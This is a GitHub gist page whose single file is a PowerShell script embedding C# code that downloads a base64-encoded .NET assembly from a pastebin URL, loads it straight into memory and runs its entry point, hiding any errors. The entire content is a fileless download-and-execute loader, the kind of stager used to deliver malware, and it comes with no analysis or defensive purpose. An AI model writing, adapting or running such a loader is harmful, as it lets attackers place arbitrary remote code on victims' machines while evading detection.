Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.
Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.

Revisions

  1. robpot891 created this gist Jul 5, 2019.
    42 changes: 42 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    $code = @"

    using System.Net;
    using System.Reflection;
    using System;
    using System.Threading;

    namespace Nyan
    {
    public class Cat
    {
    public void Run()
    {
    using (WebClient wc = new WebClient())
    {
    // new Thread(() =>
    // {
    try
    {
    Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/vezkZ6VC")));
    MethodInfo Metinf = asm.EntryPoint;
    object InjObj = asm.CreateInstance(Metinf.Name);
    object[] parameters = new object[1]; // C#
    if (Metinf.GetParameters().Length == 0)
    {
    parameters = null; // VB.NET
    }
    Metinf.Invoke(InjObj, parameters);
    }
    catch { return; }
    // })
    // { IsBackground = false }.Start();
    }
    }
    }
    }

    "@

    Add-Type -TypeDefinition $code;
    $instance = New-Object Nyan.Cat;
    $instance.Run();